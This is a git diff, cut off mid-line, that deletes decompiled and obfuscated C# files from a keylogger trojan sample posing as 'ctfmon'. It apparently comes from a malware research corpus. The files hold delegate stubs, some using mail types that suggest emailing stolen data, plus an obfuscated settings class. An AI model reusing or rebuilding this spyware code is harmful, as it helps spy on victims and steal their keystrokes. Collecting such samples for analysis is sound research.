a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095_0002.cs deleted file mode 100644 index cf2151b7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u0095\u0002([In] string obj0, [In] string obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096.cs deleted file mode 100644 index 8c7ddb1a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate FieldInfo[] \u0096([In] object obj0, [In] BindingFlags obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096_0002.cs deleted file mode 100644 index 8dcdade1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u0096\u0002([In] RuntimeTypeHandle obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097.cs deleted file mode 100644 index 5e16779d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate ParameterInfo[] \u0097([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097_0002.cs deleted file mode 100644 index 5a0f34cb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0097\u0002([In] int obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098.cs deleted file mode 100644 index 8757458a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Net.Mail; -using System.Runtime.InteropServices; - -internal delegate AttachmentCollection \u0098([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098_0002.cs deleted file mode 100644 index 83b89f88..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0098\u0002([In] object obj0, [In] string obj1, [In] string obj2, [In] bool obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099.cs deleted file mode 100644 index 3dc40403..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0099([In] object obj0, [In] object obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099_0002.cs deleted file mode 100644 index 758d9fea..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0099\u0002([In] string obj0, [In] string obj1, [In] bool obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A.cs deleted file mode 100644 index 4705edd5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u009A([In] object obj0, [In] string[] obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A_0002.cs deleted file mode 100644 index af1b368d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009A\u0002([In] string obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B.cs deleted file mode 100644 index ddf1ddea..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u009B([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B_0002.cs deleted file mode 100644 index c517061a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Exception \u009B\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C.cs deleted file mode 100644 index bcab3d98..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Net.Mail; -using System.Runtime.InteropServices; - -internal delegate void \u009C([In] object obj0, [In] MailAddress obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C_0002.cs deleted file mode 100644 index adbe73a5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u009C\u0002([In] object obj0, [In] RichTextBoxScrollBars obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D.cs deleted file mode 100644 index 801e9a22..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate object \u009D([In] object obj0, [In] string obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D_0002.cs deleted file mode 100644 index 214d336d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u009D\u0002([In] Exception obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E.cs deleted file mode 100644 index f5d49586..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009E([In] string obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E_0002.cs deleted file mode 100644 index 2269acec..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.Runtime.InteropServices; - -internal delegate void \u009E\u0002([In] object obj0, [In] ShutdownMode obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F.cs deleted file mode 100644 index 658649dd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate int \u009F([In] long obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F_0002.cs deleted file mode 100644 index 6a617d21..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection; - -internal delegate Assembly \u009F\u0002(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/MySettings.cs deleted file mode 100644 index 746c700b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/MySettings.cs +++ /dev/null @@ -1,75 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ctfmon.My.MySettings -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0004; -using \u0005; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace ctfmon.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) \u0008\u0002.\u000E\u0006((SettingsBase) new MySettings()); - private static bool \u0001; - private static object \u0001 = \u001C\u0003.\u0083\u0004(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void \u0002(object sender, EventArgs e) - { - if (!\u008D.\u007E\u0082((object) \u0002.\u0002())) - return; - // ISSUE: reference to a compiler-generated method - \u0010\u0002.\u007E\u0010\u0006((object) \u0003.\u0002()); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0001) - { - object obj = MySettings.\u0001; - \u0010\u0002.\u0099(obj); - \u0010\u0002.\u001E\u0003(obj); - try - { - if (!MySettings.\u0001) - { - \u0090.\u007E\u001E((object) \u0002.\u0002(), (ShutdownEventHandler) ((sender, e) => - { - if (!\u008D.\u007E\u0082((object) \u0002.\u0002())) - return; - \u0010\u0002.\u007E\u0010\u0006((object) \u0003.\u0002()); - })); - MySettings.\u0001 = true; - } - } - finally - { - \u0010\u0002.\u001F\u0003(obj); - } - } - MySettings mySettings = MySettings.\u0001; - return mySettings; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/Token20000A9.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/Token20000A9.cs deleted file mode 100644 index 5079dd0b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/Token20000A9.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ctfmon.My.Token20000A9 -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: 